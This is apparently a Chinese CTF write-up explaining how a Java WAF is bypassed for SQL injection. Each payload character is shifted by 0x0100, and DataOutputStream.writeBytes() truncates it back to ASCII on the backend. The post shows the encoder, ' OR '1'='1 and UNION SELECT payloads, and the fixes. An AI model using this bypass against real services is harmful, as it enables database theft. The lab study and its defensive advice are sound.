Ghost Bit SQL 注入绕 WAF
简介
群友给的一道题,是 sql 注入的题,主要是学习一下最近出的新手法——Java 比特位溢出绕 WAF
不太懂的可以看一下:【WAF集体沦陷】Java “幽灵比特位”(Ghost Bits)引发的新型 WAF 绕过与注入攻击
一个内部服务搜索系统,配有WAF防护。搜索框支持模糊查询,输入关键词即可搜索服务列表。WAF拦截了所有已知的SQL注入攻击向量,但似乎遗漏了什么……
看起来是 like 查询

正常请求:
1 | GET /search?q=a HTTP/1.1 |
返回:
1 | { |
解题思路
- 尝试传统注入,均被 waf 拦截
1 | GET /search?q=a' => 403 |
查看 WAF 规则, 发现拦截了
- 所有SQL关键字(OR, AND, UNION, SELECT, FROM, WHERE等)
- 所有特殊字符(引号、括号、等号、注释符等)
- URL编码(3层解码后检测)
- 宽字节注入(%bf%27等)
- 双写绕过(OORR, SESELECTLECT等)
- 注释绕过(去除注释后重新检测)
- 仔细分析 WAF 逻辑,发现一个特殊分支
当输入全部由非ASCII字符(Unicode码点 ≥ 0x80)组成时,WAF直接放行,不做任何黑名单检测。
1 | boolean isAllNonAscii = true; |
同时 WAF 末尾还有一层检测
1 | for (char c : input.toCharArray()) { |
这意味着混合ASCII和非ASCII的输入中,非字母数字的ASCII字符会被拦截。但如果输入全是非ASCII字符,则绕过所有检测。
- 分析源码发现查询参数经过一个 serializeAndDeserialize 序列化管道处理,QuerySerializer 实现了二进制协议的序列化/反序列化,用于查询数据的传输管道。
1 | public class QuerySerializer { |
java.io.DataOutputStream 是 JDK 标准库的真实方法,它将每个 char 强制转换为 byte,即只保留低8位,高8位被丢弃。
1 | public final void writeBytes(String s) throws IOException { |
这种模式在真实项目中广泛存在:
- Oracle Tuxedo/Jolt 客户端使用 dout.writeBytes(inString) 处理网络传输
- RandomAccessFile.writeBytes() 用于文件写入
- Netty 的 ByteBufOutputStream 实现了 DataOutput 接口,同样有此方法
- 自定义二进制协议/序列化中实现 Externalizable 接口时的常见用法
这意味着:
| 输入字符 | Unicode码点 | 二进制 | writeBytes输出 | 截断后 |
|---|---|---|---|---|
| A | U+0041 | 0x0041 | 0x41 | A |
| Ā | U+0100 | 0x0100 | 0x00 | NUL |
| ā | U+0101 | 0x0101 | 0x01 | SOH |
| ł | U+0142 | 0x0142 | 0x42 | B |
| Ń | U+0143 | 0x0143 | 0x43 | C |
| ŏ | U+014F | 0x014F | 0x4F | O |
| ŕ | U+0155 | 0x0155 | 0x55 | U |
核心原理:将每个ASCII字符的码点加上0x0100,得到对应的Unicode字符。这些字符的码点 ≥ 0x80,WAF直接放行;但经过writeBytes() 处理后,高字节被截断,还原为原始ASCII字符,构成有效的SQL注入语句。
- 构造 payload
编码函数:将每个字符的码点 +0x0100
1 | def encode(payload): |
- 验证注入
原始payload:’ OR ‘1’=’1
编码后发送请求,WAF检测:输入全部为非ASCII字符 → 放行
后端处理:writeBytes() 截断高字节 → 还原为 ‘ OR ‘1’=’1
SQL执行:
1 | SELECT id, name, description, category FROM items |
返回所有10条记录,注入成功。
1 | GET /search?q={encode(payload)} |
返回
1 | { |
- 获取 flag
原始payload:’ UNION SELECT 1,flag,’x’,’x’ FROM flags–
编码后发送请求,WAF放行,后端还原为:
1 | SELECT id, name, description, category FROM items |
– 注释截断了末尾的 %’,SQL有效执行。
返回:
1 | { |
漏洞原理总结
1 | 用户输入 (全非ASCII Unicode) |
核心问题:DataOutputStream.writeBytes() 是JDK标准库的真实方法,在将 char 转为 byte 时会丢失高字节信息。这种序列化模式在真实项目中广泛使用(二进制协议、网络传输、文件IO等)。攻击者利用这一特性,将SQL关键字编码为高码点Unicode字符绕过WAF,再由 writeBytes() 还原为有效SQL。
修复方案:
- 使用 writeUTF() 替代 writeBytes(),writeUTF() 会正确处理UTF-8编码
- 在WAF中先对输入进行与后端相同的字符编码转换处理后再检测
- 使用参数化查询(PreparedStatement)从根本上防止SQL注入
- 标题: Ghost Bit SQL 注入绕 WAF
- 作者: Nevolar
- 创建于 : 2026-04-29 02:29:00
- 更新于 : 2026-04-29 02:29:01
- 链接: https://blog.eval.moe/2026/04/77f0e74e8b9b.html
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。